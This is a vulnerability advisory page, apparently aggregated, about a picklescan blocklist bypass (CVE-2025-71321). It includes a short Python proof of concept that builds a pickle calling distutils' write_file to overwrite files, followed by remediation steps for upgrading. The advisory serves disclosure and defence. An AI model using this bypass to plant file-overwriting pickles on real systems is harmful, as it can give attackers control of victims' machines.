Unsafe Deserialization in picklescan (CVE-2025-71321)
Summary
Vulnerability in picklescan (CVE-2025-71321). Successful exploitation can lead to full system takeover. Mitigation: upgrade to 0.0.33 or later.
Original description
The description as published by the source.
Summary
Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.
Details
This is another vulnerability which impacts the downstream user.
By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.
PoC
import pickle
import distutils.file_util
class FileWriteBypass:
def __reduce__(self):
target_file = "pwned_config.env"
content = ["print('I have overwritten your config')"]
return (distutils.file_util.write_file, (target_file, content))
payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
f.write(payload)
print("bypass_filewrite.pkl")
To fix this just add disutil to the blacklist
Source: GitHub Security Advisories (Global) NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2025-71321 has been found in picklescan.
Successful exploitation can lead to full system takeover. CVSS score: 9.8/10.
What to do: upgrade picklescan to 0.0.33 or later.
If unsure, ask your IT team or search "picklescan CVE-2025-71321" on the vendor's site.
CVE-2025-71321 (picklescan) — CWE-502 / CVSS v3 9.8
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Patched: 0.0.33 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
Unsafe deserialization (CWE-502) exists in picklescan.
Check the vendor advisory for the affected versions of picklescan.
Severity: Critical (CVSS 9.8/10). Successful exploitation can lead to full system takeover.
Update to 0.0.33.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'picklescan' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'picklescan' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
picklescanを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade picklescan to 0.0.33ステージング環境で 0.0.33 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- advisory github.com
- package github.com
- package pypi.org
- web github.com
- web disclosure@vulncheck.com
- web github.com
- web github.com
- web github.com
- web github.com